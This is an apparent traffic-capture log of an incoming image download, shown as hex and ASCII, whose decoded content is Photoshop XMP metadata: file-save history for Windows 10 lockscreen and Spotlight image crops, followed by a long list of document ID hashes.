2022-07-20 04:06:50 UTC	1943	IN	Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved 2017-05-12T16:08:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.jpg saved 2017-05-12T16:09:58-07:00&#x9
2022-07-20 04:06:50 UTC	2015	IN	Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-06-18T11:59:27-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg saved 2017-06-20T09:52:36-07:00 File Lockscreen_1920x1080_Land
2022-07-20 04:06:50 UTC	2039	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: _Landscape.psd opened 2017-07-26T13:23:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved 2017-07-26T13:24:43-07:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 04:06:50 UTC	2135	IN	Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 41D85C30DE643DF5B579.psb saved 2017-08-03T16:33:31-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-03T20:57:50-07:00 F
2022-07-20 04:06:50 UTC	2190	IN	Data Raw: 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 30 36 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 31 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 Data Ascii: 2017-09-25T13:06:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1920x1080.psd saved 2017-09-25T13:13:52-07:00 File WindowsMMX-Rd2_500px-18226573_1920x1080.psd opened 2017-09-25T1
2022-07-20 04:06:50 UTC	2238	IN	Data Raw: 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 32 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 31 54 31 33 3a 33 33 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 5c 52 45 46 52 45 53 48 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 43 6f 6c 6c 65 67 65 46 6f Data Ascii: 10\Lockscreen_1920x1080_Landscape.psd saved 2017-11-01T13:29:50-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-11-01T13:33:51-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootball\REFRESH\Crops\MIT-NFLCollegeFo
2022-07-20 04:06:50 UTC	2294	IN	Data Raw: 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 38 34 39 35 39 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 Data Ascii: ice\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-168301416_1920x1080.jpg saved 2017-11-17T15:55:47-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-503849593_1920x1080.jpg
2022-07-20 04:06:50 UTC	2397	IN	Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1920x1080.psd saved 2017-12-14T16:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554
2022-07-20 04:06:50 UTC	2437	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved 2018-01-24T17:29:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save
2022-07-20 04:06:50 UTC	2476	IN	Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 Data Ascii: :53-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved 2018-02-08T13:51:48-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved
2022-07-20 04:06:50 UTC	2572	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-15T01:21:32-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
2022-07-20 04:06:50 UTC	2604	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 33 43 42 33 35 38 43 34 44 44 31 39 39 36 35 33 39 41 39 45 32 39 39 31 38 39 31 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 37 33 34 34 46 39 30 42 32 41 41 42 44 32 43 33 32 31 41 45 32 31 37 46 43 34 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 44 44 32 38 31 33 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>0573CB358C4DD1996539A9E2991891AE</rdf:li> <rdf:li>0577344F90B2AABD2C321AE217FC403A</rdf:li> <rdf:li>057DD28130D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rd
2022-07-20 04:06:50 UTC	2659	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 34 45 32 30 45 44 35 43 42 41 43 36 45 32 36 32 43 37 41 36 43 44 38 39 45 38 43 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3</rdf:li> <rdf:li>0C4E20ED5CBAC6E262C7A6CD89E8CEE5</rdf:li> <rdf:
2022-07-20 04:06:50 UTC	2691	IN	Data Raw: 41 44 32 32 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 31 36 46 35 30 37 36 31 34 45 32 35 38 33 38 30 46 38 43 33 39 35 31 44 34 46 32 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 32 43 37 37 43 45 38 38 38 30 43 36 30 33 39 43 42 30 43 39 43 36 43 39 31 42 31 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 34 45 42 37 43 37 31 39 39 46 45 37 34 41 35 39 32 46 38 36 43 30 41 31 38 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 43 33 42 37 33 43 35 36 42 46 42 33 39 36 39 39 42 46 45 43 39 44 46 30 46 31 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 35 35 42 39 45 39 37 39 36 46 32 38 33 36 38 42 37 34 39 34 30 44 30 43 33 46 41 36 38 Data Ascii: AD22E2</rdf:li> <rdf:li>1916F507614E258380F8C3951D4F2DE7</rdf:li> <rdf:li>192C77CE8880C6039CB0C9C6C91B173D</rdf:li> <rdf:li>19334EB7C7199FE74A592F86C0A18B1C</rdf:li> <rdf:li>1933C3B73C56BFB39699BFEC9DF0F1B6</rdf:li> <rdf:li>1955B9E9796F28368B74940D0C3FA68
2022-07-20 04:06:50 UTC	2803	IN	Data Raw: 30 45 34 35 43 44 45 35 41 30 31 41 43 35 35 32 39 38 34 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 45 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 Data Ascii: 0E45CDE5A01AC552984211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:li>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:li>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504
2022-07-20 04:06:50 UTC	2827	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 42 32 46 31 34 33 37 36 37 33 43 37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 42 37 32 43 32 35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 43 45 37 35 43 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 43 44 37 38 31 38 34 44 38 42 41 37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 45 31 36 31 41 32 39 44 45 45 35 32 41 45 33 32 30 45 38 35 37 31 32 45 37 41 46 38 44 34 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>2CC5E483B2F1437673C791ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184D8BA779A475</rdf:li> <rdf:li>2CE161A29DEE52AE320E85712E7AF8D4</rdf:
2022-07-20 04:06:50 UTC	2914	IN	Data Raw: 42 33 31 30 39 38 31 41 30 44 36 45 33 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 37 41 38 39 36 34 42 41 42 37 41 45 30 39 36 36 45 34 44 37 35 35 39 32 35 45 46 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 30 32 43 43 45 35 42 43 39 30 37 39 32 33 41 42 36 34 34 42 37 41 45 39 33 45 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 37 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 Data Ascii: B310981A0D6E302</rdf:li> <rdf:li>3A7A8964BAB7AE0966E4D755925EF638</rdf:li> <rdf:li>3A802CCE5BC907923AB644B7AE93ED53</rdf:li> <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054
2022-07-20 04:06:50 UTC	2962	IN	Data Raw: 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 46 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31 33 34 38 36 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 34 45 32 Data Ascii: 70AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> <rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li>4731A837CDE3A0DCE817F16C134868C8</rdf:li> <rdf:li>4734E2
2022-07-20 04:06:50 UTC	3057	IN	Data Raw: 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 35 38 46 43 39 45 31 34 36 37 35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 39 38 33 45 45 43 30 31 32 38 44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 39 31 41 43 44 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 Data Ascii: 0159031303430D6F59FF2D8AC03F5</rdf:li> <rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> <rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> <rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D17
